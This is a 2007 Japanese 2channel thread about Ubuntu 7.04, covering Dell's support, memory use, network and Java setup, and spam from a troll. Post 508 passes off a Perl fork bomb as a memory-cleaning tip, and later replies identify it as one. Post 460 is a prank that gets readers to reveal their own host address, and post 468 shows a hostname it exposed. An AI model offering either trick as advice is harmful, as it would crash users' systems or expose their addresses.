【deb系】Ubuntu Linux 13【ディストリ】

【deb系】Ubuntu Linux 13【ディストリ】 at LINUX

440:login:Penguin
07/05/03 11:50:02 lGazq0UC

　　　　　　　　　　押売りディストリ

　　　　　　　　　　　　　
　　　　　　　　　　　　　　は

　　　　　　　　　　　　
　　　　　恥　　　　　を　　　　　知　　　　　れ

441:login:Penguin
07/05/03 11:50:58 C/itKrZE
>>440
まぁ騙されたと思って使ってみろって

442:login:Penguin
07/05/03 11:59:41 B4BPThBb
標準Desktop Linux化達成オメ

443:login:Penguin
07/05/03 12:31:13 sGFtbEbT
>>440
あ　あ　さ　い　で　す　か　w

444:login:Penguin
07/05/03 12:34:11 MRy9zXDf
やっぱ、ｄｅｌｌは扱うからには
コミュニティーにも関わってくるのかな
いい成果をきたいしちゃうんだけど

445:login:Penguin
07/05/03 13:32:53 6aIFF65C
WUXGAで使えないかなあ

446:login:Penguin
07/05/03 13:47:45 fLRh21Oe
>>445
普通に使えるだろ

447:login:Penguin
07/05/03 13:52:29 TFo+p6x6
　　　　　　　　,-､　　　　　　　　　　　　,.-､
　　　　　　　 ./:::::＼　　　　　　　　　／::::::ヽ
　　　　　　　/::::::::::::;ゝ--─-- ､._/::::::::::::::|
　　　　　　 /,.-‐''"´ 　　　　　　　　＼:::::::::::|
　　　　　／　　　　　　　　　　　　　　　ヽ､::::|
　　　　/　　　　　　　　　　　　　　　　　　　ヽ|
　　　 l.　　　　　　　　　　　　　　　　　 l
　　　 .|　　　 ●　　　　　　　　　　　　　　　|
　　　l　　, , ,　　　　　　　　　　　●　　　　　l
　　　　` ､　　　　　　(__人__丿　　　　､､､　 /
　　　　　　`ｰ､__　　　　　　　　　　　　／
　　　　　　　　　/`'''ｰ‐‐─‐‐‐┬'''""´
　　　　　　　　./　　　　　　　　___　l　__
　　　　　　　 l　　 ./　　　　／　 |／　|
　　　　　　　 `ｰ-<　　　　/　　./　　./
　　　　　　　　　　　`ｰ‐--{___／ゝ､,ノ

448:login:Penguin
07/05/03 14:04:56 AfwaIqk3
字幕.in | Ubuntu Linuxのインストール（短いバージョン）
URLﾘﾝｸ(jimaku.in)

字幕付けてみた。
もっとちゃんとした日本語のインスコ解説動画欲しいねえ

449:login:Penguin
07/05/03 14:22:25 k21q/Zyl
Ubuntuのインスコって簡単じゃね？

450:login:Penguin
07/05/03 14:27:03 WAbNaXFZ
>>448
乙
一番躓き易いのがパーティションの選択あたりだろうから、
その辺り詳しいやつがあればいいかもね。

451:login:Penguin
07/05/03 15:37:28 1E1xIdqP
>>436
うちのは古いからかもしれんけど
結構不具合なく認識＆インストールされてる
・解像度が変てこ
・マウスカーソルが上下だけしか動かない
・選択間違いだと思うけど、CUI起動までで
　放置
ってのがあったけど、どれもあまりユーザーが
いないマイナーな鳥ばかりだった

>>449
インストール自体は簡単
認識での不具合が出るとその時点で
気分↓↓（Mihimaru GT風）
対処がやっかりだったり・・・

452:login:Penguin
07/05/03 15:57:59 AfwaIqk3
>>449
うん。自分には必要ないんだけど。
「ubuntuのインストールってこんな感じなんよ」って人に伝えたいときに
使えるかな、という程度のものだね
Winのインスコやったことある人は「大して変わらないな」と思うだろうし

>>450
画面を指しながら
/とswapが必須で/はOSが入るとこで最低どれくらいサイズ確保が必要で
/homeもあるといいよくらいの説明なら動画でもできるかも
パーティションの切り方からとなると別の解説見てくれってことになりそうだけど・・・

453:login:Penguin
07/05/03 16:09:10 RI8ARKLA
使用する言語を選択します、でつまずくに違いない

454:login:Penguin
07/05/03 18:00:34 lGazq0UC

　　　　　　　　　　押売りディストリ

　　　　　　　　　　　　　
　　　　　　　　　　　　　　は

　　　　　　　　　　　　
　　　　　恥　　　　　を　　　　　知　　　　　れ

455:login:Penguin
07/05/03 18:05:00 PXKUMwul
vistaのスレッドでウブンツも透過処理できますよとかコピペされてたけど
全然VISTAのほうが上だった

456:login:Penguin
07/05/03 18:37:44 TFo+p6x6
　　　　　　　　,-､　　　　　　　　　　　　,.-､
　　　　　　　 ./:::::＼　　　　　　　　　／::::::ヽ
　　　　　　　/::::::::::::;ゝ--─-- ､._/::::::::::::::|
　　　　　　 /,.-‐''"´ 　　　　　　　　＼:::::::::::|
　　　　　／　　　　　　　　　　　　　　　ヽ､::::|
　　　　/　　　　　　　　　　　　　　　　　　　ヽ|
　　　 l.　　　　　　　　　　　　　　　　　 l
　　　 .|　　　 ●　　　　　　　　　　　　　　　|
　　　l　　, , ,　　　　　　　　　　　●　　　　　l
　　　　` ､　　　　　　(__人__丿　　　　､､､　 /
　　　　　　`ｰ､__　　　　　　　　　　　　／
　　　　　　　　　/`'''ｰ‐‐─‐‐‐┬'''""´
　　　　　　　　./　　　　　　　　___　l　__
　　　　　　　 l　　 ./　　　　／　 |／　|
　　　　　　　 `ｰ-<　　　　/　　./　　./
　　　　　　　　　　　`ｰ‐--{___／ゝ､,ノ

457:login:Penguin
07/05/03 18:45:22 X7Fvo6m8
カワユス

458:login:Penguin
07/05/03 18:51:39 0+/TEGa+
>>454
文句ならDELLに言え

459:login:Penguin
07/05/03 18:54:07 lGazq0UC

　　　
　　　　　　　　　　WindowsとUbuntuは猿が使う物

　WindowsとUbuntuは猿が使う物

　　　　　　　　　　　　　　　WindowsとUbuntuは猿が使う物

460:login:Penguin
07/05/03 18:58:30 glzdSzjX
ここで無責任な発言をする人って、何者か興味ありません？
時々、IPの抜き方を知りたがっている人がいるんですが、
やり方を知らない人が意外と多いみたいですね。
名前欄に
------
steal@fusianasan
------
とだけ書いて、
本文の１行目以降に知りたい書き込みの発言者名と発言番号を書きます。
--- 例 ---
名無しさん 1
---------
こうすると、そのスレッドの番号の発言者のIPを
抜くことが出来ます。
うまくいかない時もあるので何回かやってみてください。
その書き込みはログとして書き込んだ本人には見えますが、
他の人には見えないので安心してください。
初期の頃の２ちゃんねらーならみんな知ってると思いますが、
最近の人は知らないですよね???

461:login:Penguin
07/05/03 19:02:08 lGazq0UC

　　　　　
　　　　　　　　　　　　WindowsとUbuntuは猿が使う物ですよ

　　　WindowsとUbuntuは猿が使う物ですよ

　　　　　　　　　　　　　　　WindowsとUbuntuは猿が使う物ですよ

462:login:Penguin
07/05/03 19:02:56 f5XB1J+M
>>460
んで、その馬鹿な実験者のIPアドレスが入手できるわけだが、それって意味あるの？

463:そうだ、初心者スレも荒そう
07/05/03 19:03:54 lGazq0UC

　　　　　
　　　　　　　　　　　　WindowsとUbuntuは猿が使う物

　　　WindowsとUbuntuは猿が使う物

　　　　　　　　　　　　　　　　　WindowsとUbuntuは猿が使う物

464:login:Penguin
07/05/03 19:06:13 lGazq0UC

　　　　　　　　　　押売りディストリ

　　　　　　　　　　　　　
　　　　　　　　　　　　　　は

　　　　　　　　　　　　
　　　　　恥　　　　　を　　　　　知　　　　　れ

465:login:Penguin
07/05/03 19:08:32 f5XB1J+M
>>464
君が恥を知りなさい。

以上

466:login:Penguin
07/05/03 19:11:35 lGazq0UC
>>465

　　　　　
　　　　　　　　　　　　WindowsとUbuntuは猿が使う物ですよ

　　　WindowsとUbuntuは猿が使う物ですよ

　　　　　　　　　　　　　　　WindowsとUbuntuは猿が使う物ですよ

467:login:Penguin
07/05/03 19:15:47 BMgAwRVF
ただの連投コピペかと思ったが、アンカつける脳はあるのね。

468:steal@i220-109-124-210.s02.a029.ap.plala.or.jp
07/05/03 19:16:18 BPg5hFiK
login:Penguin 460

469:login:Penguin
07/05/03 19:21:40 lGazq0UC
　　　　　
　　　　　　　 WindowsとUbuntuは>>467のようなアンカーをつけられない猿が使う物ですよ

　　　
WindowsとUbuntuは>>467のようなアンカーをつけられない猿が使う物ですよ

　　　　　
　　　　　　　 WindowsとUbuntuは>>467のようなアンカーをつけられない猿が使う物ですよ

　　　　　　　　　　　　　　

WindowsとUbuntuは>>467のようなアンカーをつけられない猿が使う物ですよ

470:login:Penguin
07/05/03 19:24:01 f5XB1J+M
確かにGWも後半に入ると焦燥感が出てくるな。

471:login:Penguin
07/05/03 19:28:04 lGazq0UC

　　　　　　　　　　押売りディストリ

　　　　　　　　　　　　　
　　　　　　　　　　　　　　は

　　　　　　　　　　　　
　　　　　恥　　　　　を　　　　　知　　　　　れ

　　　　　　　　　　　　　以上

472:login:Penguin
07/05/03 19:43:30 sGFtbEbT
ubuntuの好調さを実感するなw

473:login:Penguin
07/05/03 19:56:31 hmLJ1b/h
>>468
おまえいいギャグセンスしてるなwwwwww
ﾃﾗﾜﾛｽ

474:login:Penguin
07/05/03 20:45:14 YpfzNHYr
>>32
HDDのアイコンを右ボタンからプロパティ
Driveタブの着脱可能がNoになってるとダメなんだよね。

対策はどうすればいいのかわからんだども。

475:login:Penguin
07/05/03 20:53:03 lGazq0UC

476:login:Penguin
07/05/03 20:56:06 lGazq0UC

　　　　　　　　　　押売りディストリ

　　　　　　　　　　　　　
　　　　　　　　　　　　　　は

　　　　　　　　　　　　
　　　　　恥　　　　　を　　　　　知　　　　　れ

　　　　　　　　　　　　　以上

477:login:Penguin
07/05/03 21:01:09 p9pEmgBK
>>474
sudo umount /media/hogehoge すればいいんじゃね？

478:login:Penguin
07/05/03 21:01:59 lGazq0UC

479:login:Penguin
07/05/03 21:03:31 lGazq0UC

480:login:Penguin
07/05/03 21:08:05 lGazq0UC

　　　　　　　　　　押売りディストリ

　　　　　　　　　　　　　
　　　　　　　　　　　　　　は

　　　　　　　　　　　　
　　　　　恥　　　　　を　　　　　知　　　　　れ

　　　　　　　　　　　　　以上

481:login:Penguin
07/05/03 21:23:58 ZopKISrQ
精神異常者乙

482:login:Penguin
07/05/03 21:24:01 lGazq0UC

　　　　　
　　　　　　　　　　　　WindowsとUbuntuは猿が使う物ですよ

　　　WindowsとUbuntuは猿が使う物ですよ

　　　　　　　　　　　　　　　WindowsとUbuntuは猿が使う物ですよ

483:login:Penguin
07/05/03 21:25:08 lGazq0UC
>>481
さんざん他スレを荒しまわったくせに。

484:login:Penguin
07/05/03 21:33:23 lGazq0UC
とりあえずこのスレは潰す。
状況を見てあまり酷ければ関連スレも潰す。

485:login:Penguin
07/05/03 21:35:05 BMgAwRVF
こりゃ通報か?

486:login:Penguin
07/05/03 21:36:32 6GqweX2v
やるならここで。

最高に頭の悪そうな発言をして下さい in Linux板 4
ｽﾚﾘﾝｸ(linux板)

487:login:Penguin
07/05/03 21:37:48 hmLJ1b/h
とりあえず
ID:lGazq0UC (>>484など)
が
ここを「潰そう」としてる経緯についてkwsk

488:login:Penguin
07/05/03 21:38:46 C/itKrZE
>>485
削除依頼はもう出してある。今、荒らし相談に出した。

>>487
ヒント: 社員

489:login:Penguin
07/05/03 21:39:30 BMgAwRVF
>>488
乙

490:login:Penguin
07/05/03 21:47:01 lGazq0UC

822 Name：名無しの報告 [age] Date： 2007/05/03(木) 19:12:03 ID: qwShpvsc0 Be:
　　【荒らしの発生してるスレッドのURL及びレス番】
　　ｽﾚﾘﾝｸ(linux板:440-番)

　　【現在の状況を具体的に】
　　スレがコピペ荒らしされてます。
　　【荒らしの発生原因と荒らしが継続することになったキッカケ】
　　 DELLがUbuntu Linuxを正式サポートしたことが原因かと。
　　多分VineかTurboの社員か、Fedora CoreかSUSEの信者かと。
　　【現在行っている対応】
　　放置

823 Name：名無しの報告 [age] Date： 2007/05/03(木) 19:14:06 ID: qwShpvsc0 Be:
　　ありゃ、ミスった。削除依頼にいきます。

　830 　Name： 822 　[age] Date： 2007/05/03(木) 21:37:23 　ID: qwShpvsc0 　Be:
　　 822ですが状況が変わったので再度。

　　ｽﾚﾘﾝｸ(linux板:484番)
　　 >484 ：login:Penguin：2007/05/03(木) 21:33:23 ID:lGazq0UC
　　 > とりあえずこのスレは潰す。
　　 > 状況を見てあまり酷ければ関連スレも潰す。

これな。

491:login:Penguin
07/05/03 21:53:13 r0nourQv
Feisty、何かがメモリー・リーク起こしてる。Edgyにはなかったこと。
起動時100MBちょっとが今300MBだ。

492:login:Penguin
07/05/03 22:02:38 uH5oOfpH
>>491
うちでは1.5GBくらい無駄に消費してるからそのくらい気にすんな。
犯人はscreenlets, beagledあたりだろうけどね。

493:login:Penguin
07/05/03 22:06:45 v1mCieKZ
搭載メモリを有効に使ってんじゃね?

494:login:Penguin
07/05/03 22:15:48 zAwHnNRJ
起動時300はちょっと多いね。

495:login:Penguin
07/05/03 22:16:52 ZopKISrQ
>>483
さすがキチガイwww
妄想乙

496:login:Penguin
07/05/03 22:20:24 9VB1seFh
>>491
free の結果貼ってみてよ。

497:login:Penguin
07/05/03 23:18:45 AXP5Hzr+
押し売りといえば、力の求道者グラーフ。

498:login:Penguin
07/05/03 23:49:55 r0nourQv
total used free shared buffers cached
Mem: 2076100 1966168 109932 0 17460 1661528
-/+ buffers/cache: 287180 1788920
Swap: 0 0 0

499:login:Penguin
07/05/03 23:59:12 lGazq0UC
終わったわけじゃないからな。

500:login:Penguin
07/05/04 00:06:00 zt+r9AEb
>>498
1.8GB あいてるならそんなに気にしなくてよくね?

501:login:Penguin
07/05/04 00:24:03 DNTUcnGF
そんなに気にしてなくね?

502:login:Penguin
07/05/04 00:32:25 eNqCcL6A
>>498
え？　それが起動直後ですか？
少し使用した後でしょう？　なんかかなりすでにキャッシュされてますが少し使わないとそうならないのでは？
それとSwapがなんで0なんだろう？
もしかしてLiveCD？

以下は自分のPCで搭載メモリーは2G、firefoxを3個、eclipse、2chブラウザv2c、ワープロ1、その状態で
libdvdcssをコンパイルしてインストール後の状態です。
total used free shared buffers cached
Mem: 2076308 896384 1179924 0 33584 477084
-/+ buffers/cache: 385716 1690592
Swap: 1413680 0 1413680

503:login:Penguin
07/05/04 00:34:24 0kBZGPDG
誰も一言も起動直後なんて言ってませんが。

504:login:Penguin
07/05/04 00:41:50 ok4H+n1+
total used free shared buffers cached
Mem: 2060736 2025212 35524 0 28 806612
-/+ buffers/cache: 1218572 842164
Swap: 1048568 41472 1007096

505:login:Penguin
07/05/04 00:47:27 zt+r9AEb
いや、別にみんなで free 貼らんでもいいよ。

506:login:Penguin
07/05/04 01:42:38 dUFz+9bw
total used free shared buffers cached
Mem: 1027048 781920 245128 0 38044 370040
-/+ buffers/cache: 373836 653212
Swap: 1606460 12012 1594448

507:login:Penguin
07/05/04 01:47:36 qOwHJXFu
起動直後は、freeで見ると300MBくらい、システムモニタで見ると105MBくらい。 6.10も7.04も変わらないね

508:login:Penguin
07/05/04 02:41:24 lFTpIVae
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスがよくなります。
GUIを使っている場合では体感的に早くなったとわかるでしょう。

509:login:Penguin
07/05/04 02:42:00 MqTn1s0E
これはひどい

510:login:Penguin
07/05/04 03:02:53 uWwMbVls
やめれ。

511:login:Penguin
07/05/04 03:06:55 wAXrN32N
>>508
無限にプロセス生成♪しかもビジーウェイトループで！！！

512:login:Penguin
07/05/04 04:27:12 YcN2D1tf
Ubuntu feistyで、eth0:0(IPエイリアス)にIPアドレスを設定するには、
GUI画面からだと、どこを選べばいいんでしょうか。

システム管理->ネットワーク->接続タブだと思うんですが、
dhcp、固定IPアドレス、zeroconfのどれかしか選べないようです。

513:login:Penguin
07/05/04 05:03:14 tQ3006/B
固定IPアドレス選べばいいじゃん

514:login:Penguin
07/05/04 06:32:16 YcN2D1tf
>>513
どうやって、インタフェースを選ぶんですか？

515:login:Penguin
07/05/04 07:26:30 0vsbgbx1
>>514
接続タブで設定したいインターフェイスを選択してプロパティじゃねーの?

516:login:Penguin
07/05/04 07:53:57 eNqCcL6A
>>512
その方法であってると思うけど。固定IPアドレスにしたらIP入れるところがあるでしょう。
インターフェースは縦に並んでいるでしょう。有線eth1、有線eth0、モデム接続ってのが。

517:login:Penguin
07/05/04 10:18:19 zdzXYWs0
age

518:login:Penguin
07/05/04 11:20:42 P/mEXedM
Dell.comにUbuntuバナー登場
URLﾘﾝｸ(japanese.engadget.com)

いよいよですな。厨房が大挙してやってきまっせ

519:login:Penguin
07/05/04 11:41:57 rngapIJ/
じゃあubuntu-dellスレたてようぜ
それで質問には一切答えないでおこう

520:login:Penguin
07/05/04 11:51:35 5D3smHJn BE:7230863-2BP(444)

このスレを見ている人はこんなスレも見ています。(ver 0.20)
■ｵｰﾊﾞｰｸﾛｯｸ■初心者にエスパーレスするスレ [自作PC]
ながされて藍蘭島ながされて13日目 [アニメ]
高木浩光先生のスレッド Part16 [プログラマー]
【(･∀･)ｳﾌﾞﾝ厨!!】デル、Ubuntu Linuxを正式サポートへ [ニュース速報]
Solaris教えてスレッド其の26 [UNIX]

521:login:Penguin
07/05/04 13:08:59 9HTg2/CX
>>520
漏れ、その中のひとつも見てないや...

522:login:Penguin
07/05/04 13:50:31 7HkPK7E0
2chブラウザ使ってるなら反映されない

523:login:Penguin
07/05/04 14:00:57 fahXfFes
ｈｐもうらんかい

524:login:Penguin
07/05/04 14:23:45 MqTn1s0E
>>518-519
残念ながら日本では(ry

525:login:Penguin
07/05/04 14:25:17 gLt2XPCM
コンパイラの警告文がかわいいw
「警告: 互換性のないポインタ型からの引数 1 個の関数ポインタを渡しますです」

526:login:Penguin
07/05/04 15:26:58 0kBZGPDG
URLﾘﾝｸ(up.mugitya.com)
他のひとのbootchartも見てみたい。

527:login:Penguin
07/05/04 15:58:23 YcN2D1tf
>>516
eth0:0とかは無いんです。
この場合どうしたらいいですか？

GUIからの設定は無理ですかね。

528:516
07/05/04 16:04:27 gLt2XPCM
>>527
ごめん、複数IPだったのかw
GUIでは無理かなあ。。

529:login:Penguin
07/05/04 21:04:04 oH+T0ai5
>>477
そうしているんだけど、ちょい面倒やんか

530:login:Penguin
07/05/05 02:24:49 gw4DtXyQ
>>527
スクリーンショットとって晒してごらんよ。
何いってんのかサッパわかんね

531:516
07/05/05 02:53:54 b5L2hAC2
>>530
eth0のネットワークデバイスに複数のIPを設定させる「IPエイリアス」を>>527はやりたいらしい。
で、それがGUIで設定できる場所は無いですか？って聞いてる。

532:login:Penguin
07/05/05 04:05:41 eVRmbPyY
こっちにもこんなニュース
URLﾘﾝｸ(www.itmedia.co.jp)
デルがリナックスをさぽーとしてくれるんだったらとりあえず
セカンドマシーンで買ってみてもいいかな

533:login:Penguin
07/05/05 04:26:48 iAUUyPBv
日本では発売するかな？

534:jMax
07/05/05 06:32:20 3u63Hy5i
7.04導入したら、jMax
URLﾘﾝｸ(freesoftware.ircam.fr)
が動かなくなってしまいました。
jMax haven't found any suitable Java Virtual Machine
Please install a Java Virtual Machine >= 1.4.0 before running jMax.

j2re1.4, j2sdk1.4は入っています。
Sunの標準インストールも試しましたがNGでした。
6.06、6.10では問題なく使用できたのですが、解決方法orヒントはありませんでしょうか。

535:login:Penguin
07/05/05 06:53:01 ZLGqoEOn
そういや先日totem-mozillaかmozilla-mplayerかの議論あったよね。
どっちでも良いんだけど、Forum見てたらこんなのがあったから載せとく。
HOWTO: Watch Stage6 DIVX movies
URLﾘﾝｸ(ubuntuforums.org)
gstreamer0.8-plugins、gstreamer0.8-xvid、totem-gstreamer、totem-mozillaをインストールで観れます。
mozilla-mplayerだとw32codecが必要なのかな？
それだと64bitのFirefoxでは観れないので64bit版使用してる人はtotem-mozillaでどうぞ。

536:login:Penguin
07/05/05 10:24:55 zntuLAqV
よく考えると、Totemってかなり使えるよな。
動画のコマ落ちも俺の環境だと、

Totem > MPlayer = VLC >>> Xine

ってかんじ

537:login:Penguin
07/05/05 11:17:03 VmkaLEZs
age

538:login:Penguin
07/05/05 12:55:56 LlWLc4nW
でもUbuntuが出て、やっとデスクトップLinuxの一つの完成形が
見えてきたって感じしない？
（いや、まだまだ未完成だけどさ）

それなりに軽く多機能なブラウザ(ネスケや旧モジラは重かった・・・)
多彩なフォーマットに対応した各種メディアプレイヤー。
パッケージ管理の煩わしさを無くすSynaptic
いよいよ安定し始めたWINE(officeやWindowsのフリーウェアなら結構動く)
ネットワークへの接続をかなり簡略化できるNetworkManager。
フォントに関してはWindowsなんか足元にも及ばない。
そしてMS-IMEのレベルには追い付いた日本語入力のSCIM+Anthy。

まだパソコン初心者には勧められる完成度では無いけど、
5年ぐらい前のLinuxブーム時のRedHat(7か8だったっけ？）に比べたら、
ものすごく使い易くなった。
あの時から5年でこの完成度。
恐らくあと5年もすればパソコン初心者に対しても、
Windowsと同じ様に勧められる選択肢の一つになり得るのでは無いか、
と俺は思ってる。

いきなりこんな事を書いてスレ汚しごめんな～。

539:login:Penguin
07/05/05 13:02:36 IJYbHxxq
謝るくらいなら書くなよ

540:login:Penguin
07/05/05 13:04:20 ye7W4pGg
URLﾘﾝｸ(live1.computer-shogi.org)
このページ、UbuntuとWindowsでどちらが綺麗か
見てくれ？

541:login:Penguin
07/05/05 13:13:29 U0/lXCJ4
なんだ、日本のデルの話じゃねーじゃん

542:login:Penguin
07/05/05 13:21:24 LlWLc4nW
>>539
すまん・・・。
だがこの思いを文字にして誰かに伝えたくなったんだ・・・。

しかし最近Microsoftが本当に心配になってきたんだ。

・OS自体の使いやすさ
・Windowsの財産である多くのフリーウェア群
・Microsoft Office

これらがLinuxで実現or動作可能になる日が見えてきてしまっている。
そうなると売るものが無くなるMicrosoftはどうやって会社を存続させるのかな、と。
(MS-OfficeをWINEで動かすユーザーは基本的にバージョンアップせず、
Microsoftの利益の多くをしめる更新料が取れなくなってしまう)

543:login:Penguin
07/05/05 13:30:34 ye7W4pGg
>>542
URLﾘﾝｸ(live1.computer-shogi.org)
このページ、UbuntuとWindowsでどちらが綺麗か
見てくれ？
冷静に判断してみろ！

544:login:Penguin
07/05/05 13:36:12 U4s7T9K4

547 Name： login:Penguin [] Date： 2007/05/05(土) 13:19:55 ID: VmkaLEZs Be:
　　 >>545
　　 Knoppix動物園じゃね？

545:login:Penguin
07/05/05 13:38:25 BvBxKixl
>543
日本語フォントで表示されてないや

546:login:Penguin
07/05/05 13:45:57 ye7W4pGg
>>545
javaに日本語用のフォルダを作って
リンクしとけば、ＯＫ

547:login:Penguin
07/05/05 13:59:54 YknU5/Wu
>>538
使用しているユーザーという観点からではなく、
客観的にみてUbuntuは良い出来で
使い易いと思うよ

同じデビ系で下手にソフトのインストールや
アップデートをすると不具合が出たりしてたものの
ウブではそういうことが殆んどなくなって
安定動作してる
インストール、あ、ダメだで削除、
また再インストールってのを繰り返しても
問題なかった

WINEの最新バージョンからすこしダウンさせないと
うまく動作しないようなのが少し気がかり

ちゃちゃを入れようと目をギラギラさせている
人に言っておく、
もし他の鳥で良いものがあれば俺はそれを
「いい」と称賛するよ
決してUbuntuの方が優れているとかいうのではなく、
いいものはいい、個人的にただ嫌っててまともな
評価をしない場合もその旨をしっかりと書く

548:login:Penguin
07/05/05 14:05:24 DBYbb1QI
total used free shared buffers cached
Mem: 2011 1205 806 0 91 623
-/+ buffers/cache: 490 1520
Swap: 5930 0 5930
Total: 7941 1205 6736

549:login:Penguin
07/05/05 14:05:32 FaybCrbg
設定ファイルが散らばりすぎるのはLinuxの難点だな
レジストリはいろいろ言われるが一元管理としてはまあ悪くないかと

550:login:Penguin
07/05/05 14:11:33 DBYbb1QI
間違ってゆうべ編集中に書込やめたの送信しちゃった。
ごめんね

551:login:Penguin
07/05/05 14:19:44 eWVgMTye
>>549
設定ファイルは/etc以下とホームディレクトリ以下だけだから
散らばっているとは感じないな。

552:login:Penguin
07/05/05 14:29:49 Oo8lK/bP
ホーム直下にドットファイルが散乱しててカオス
せめて~/etc/とかにばら撒けばいいのに。

553:login:Penguin
07/05/05 14:33:01 LlWLc4nW
>>545 >>546 >>547
ごめん銭湯行ってた。
フォローせんきゅー。

>>543
確かにこっちの環境でもWindowsとUbuntu間で、
フォントやその他にあまり差は見られなかった。
(WindowsはMSゴシックでUbuntuはIPAじゃなくて東風フォント？になってた）

>フォントに関してはWindowsなんか足元にも及ばない。
多分↑この部分が気に障ったのだと思う。
思うままに文章書いてたらいつの間にか暴走してた、スマソ。

しかし思ったのが、この将棋の対戦の観戦しかり、
ブラウザ上でのオンラインゲームやYoutubeしかり、
OS間の隔たりが最近急激に無くなってきた事だ。
この風潮がMicrosoftの首を締め始めた原因の一つと思っている。

554:login:Penguin
07/05/05 14:33:41 LlWLc4nW
>>547
他の人も使い易いと思ってくれているのが凄く嬉しい。

>インストール、あ、ダメだで削除、
>また再インストールってのを繰り返しても
>問題なかった

そうなんだよな～。
俺も何回もLinux機を壊してきて、慣れてはきていたけど、
Linuxは下手な操作をしては駄目なOSなんだな、と感じていた。
だからいつもLinuxを入れてちょこっと触る→気楽なWindowsに戻る
というパターンだった。

ただ今回のUbuntu 7.04はATI純正ドライバやらBerylやらその他ソフトを入れては、
失敗→アンインストールを繰り返したけど、
Ubuntu自体の再インストールは必要なく、今も安定動作している。
正直ここまで安心して操作できるLinuxは初めてだ。

ただ文句を一つ言うとするならば・・・、
ATI(今はAMDだっけ？）よ、
Linux用ドライバをもっと最適化してくれ・・・。

555:login:Penguin
07/05/05 14:42:04 FaybCrbg
あとはゲームが揃えばデスクトップのLinuxも悪くはないが
DirectX使用アプリが動くようになればかなり良いんだけどな
Cedegaの進化に期待か

556:login:Penguin
07/05/05 15:16:43 dEDyqHHI
zsnes etc...という反則もあるな。

557:login:Penguin
07/05/05 15:17:12 TzU+uP5O
Linux初めてだから他のディストリ使ったことないんだけど、Ubuntuなかなかいいな。

ただ、Linux初心者としては細かいファイルの管理法が全然わからん。
アプリインストールするにしても色んなとこにファイルがインスコされたり
書き換えられたりするから不具合起きたときにどこを当たってみればいいか
素人には全く見当つかん。

MacOSXのパッケージ方式のアプリや、レジストリとか使わず1フォルダ内にdllや
.iniファイル置いてそのフォルダで完結するWindowsアプリのように
アプリとシステムを分離して扱えるようにして欲しいとｵﾓﾀ。

それとも俺がよく理解してないだけで実際は簡単に管理できんの?

558:login:Penguin
07/05/05 15:35:07 eP/QCD2/
>>557

パッケージ方式はdebで完了してるだろう。

設定は大方/etc/PACKAGENAME 探せばあるだろう。

Winアプリだったら同じライブラリがソフトウェア毎に
存在してしまい、容量が肥大化するだろう。

上記を踏まえれば管理も簡単だと思う。

559:login:Penguin
07/05/05 15:48:52 8q5YW7qo
which しても javacのパスが見えない…
エラーメッセージらしきものが出ているのに…
なぜ？

auser@localhost:~$ javac
プログラム 'javac' は以下のパッケージで見つかりました:
* jikes-sun
* jikes-sablevm
* kaffe
* sun-java6-jdk
* jikes-classpath
* java-gcj-compat-dev
* ecj
* j2sdk1.4
* jikes-gij
* jikes-kaffe
* sun-java5-jdk
* gcj-4.1
次の操作を試してください: sudo apt-get install <選択したパッケージ>
-bash: javac: command not found
auser@localhost:~$ which javac
auser@localhost:~$

560:login:Penguin
07/05/05 15:51:07 87jQXs+5
$ sudo apt-get install j2sdk

or

$ sudo apt-get install sun-java5-jdk

561:login:Penguin
07/05/05 15:51:57 +Mgs3Ld2
command-not-found の仕業だな

562:login:Penguin
07/05/05 15:52:15 87jQXs+5
>>560

$ sudo apt-get install j2sdk1.4

563:login:Penguin
07/05/05 15:52:39 leDI/rnb
そりゃjavacがインストールされてないからね
sudo apt-get installしてくれと書いてるじゃん

564:login:Penguin
07/05/05 16:04:41 WavdXTTc
　　　　　　　　　　　冫─'　 ~　￣´^-、
　　　　　　　　　　／　　　　　　　　　　丶
　　　　　　　　　/　　　　　　　　　　　　　ﾉ、　　　∧∧∧∧∧∧∧∧∧∧
　　　　　　　　/　　／ヽ丿彡彡彡彡彡ヽヽ　　＜　　　　　　　　　　　　　　＞
　　　　　　　　|　　丿　　　　　　　　　　　ミ　　＜　　くだらねースレだな氏ね　！　！　＞
　　　　　　　　|　彡　＿＿__　　＿＿__ 　ﾐ/ 　＜　　　　　　　　　　　　　　＞
　　　　　　　　ゝ_/／|　　　 |⌒|　　　 |ヽゞ　　　∨∨∨∨∨∨∨∨∨∨
　　　　　　　　|tゝ　　＼__／_　＼__／　| |　　　　　　　　　　　　　　　　　　　　　　　　_.. ‐ｧ=r‐''⌒ﾞ二ﾆ二つ
　　　　　　　　ヽﾉ　　　　／＼_／＼　　 |ﾉ　　　　　　　　　　　　　　　　 _. -‐ '"´　　l　l　　　　r}　} }l
　　　　　　　　　ゝ　　　/ヽ──‐ヽ　/　　　　 __　　　　　　.　-‐ ' "´　　　　　　　 l　ヽ　､　ヽ_ﾉﾉ
　　　　　　　　　　ヽ　　　ヽ─'　　 /　　-‐ ' "´／｀ﾞｰｧ' "´　　‐'"´　　　　　　　　　ヽ､`ｰﾃヽJ
　　　　　　　　　　　　丶＿＿＿ノ　

565:559
07/05/05 16:08:46 8q5YW7qo
たしかにcommand-not-foundというコマンドがありました。

auser@localhost:~$ which command-not-found
/usr/bin/command-not-found
auser@localhost:~$ command-not-found javac
プログラム 'javac' は以下のパッケージで見つかりました:
* jikes-sun
* jikes-sablevm
* kaffe
* sun-java6-jdk
* jikes-classpath
* java-gcj-compat-dev
* ecj
* j2sdk1.4
* jikes-gij
* jikes-kaffe
* sun-java5-jdk
* gcj-4.1
次の操作を試してください: sudo apt-get install <選択したパッケージ>

/etc/bash.bashrcには、↓のも有りました。
# if the command-not-found package is installed, use it
if [ -x /usr/bin/command-not-found ]; then
function command_not_found_handle {
/usr/bin/command-not-found $1
return $?
}
fi

command-not-foundパッケージをapt-get removeすれば
出なくなるみたいですね。
thx

566:login:Penguin
07/05/05 16:10:57 S2WbIpVs
本気なのか、釣りなのか。

567:login:Penguin
07/05/05 16:18:23 +Mgs3Ld2
釣りだろう

568:login:Penguin
07/05/05 17:04:51 YknU5/Wu
>>554
>そうなんだよな～。
たぶんそれが当たり前なことで
Linuxがいまいちだったんだなと思うけれど
本当に実感出来ることですよね
あと鳥自体の質感的なものが使ってて
